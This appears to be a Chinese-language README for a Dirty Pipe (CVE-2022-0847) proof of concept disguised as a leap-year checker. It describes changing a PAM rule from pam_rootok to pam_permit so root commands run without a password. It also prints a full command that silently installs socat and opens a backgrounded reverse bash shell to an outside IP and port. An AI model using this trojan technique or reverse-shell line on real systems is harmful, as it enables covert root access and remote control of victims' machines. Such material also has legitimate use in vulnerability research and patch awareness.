这是一个概念验证(POC),展示如何利用 CVE-2022-0847("脏管道漏洞")在远程机器上弹出反向 bash shell 以执行任意代码。 该漏洞仅影响 Linux 内核版本 5.8 及更高版本,但已在版本 5.16.11、5.15.25、5.10.102 及更高版本中得到修复。请更新你的内核 :)
该漏洞由安全研究员 Max Kellermann 发现。我不会深入介绍该漏洞的细节,因为他在他的文章中比我做得更好;https://dirtypipe.cm4all.com/
这个概念验证程序表面上是一个简单的闰年判断程序,它会告诉你给定的年份是否为闰年。
在后台,我修改了 /etc/pam.d/s 中的一行代码。
我将 auth sufficient pam_rootok.so 改为 auth sufficient pam_permit.so。这一修改允许我们无需输入密码就能以超级用户身份运行命令。
之后,我们可以简单地使用 C 语言的 system() 函数以超级用户身份执行命令。
我运行
su -c \"apt-get -y install socat\" > /dev/null; socat TCP4:172.23.46.133:4444 EXEC:/bin/bash & exit
这一行在系统上安装 socat,并将输出重定向到空文件,使用户看不到下载的输出。接着,我执行一个 socat 命令,连接到指定 IP 和端口的远程机器。
& 将该进程放入后台,这样即使终端被关闭,连接仍然保持。
在易受攻击的机器上执行该程序:

连接到易受攻击的机器:
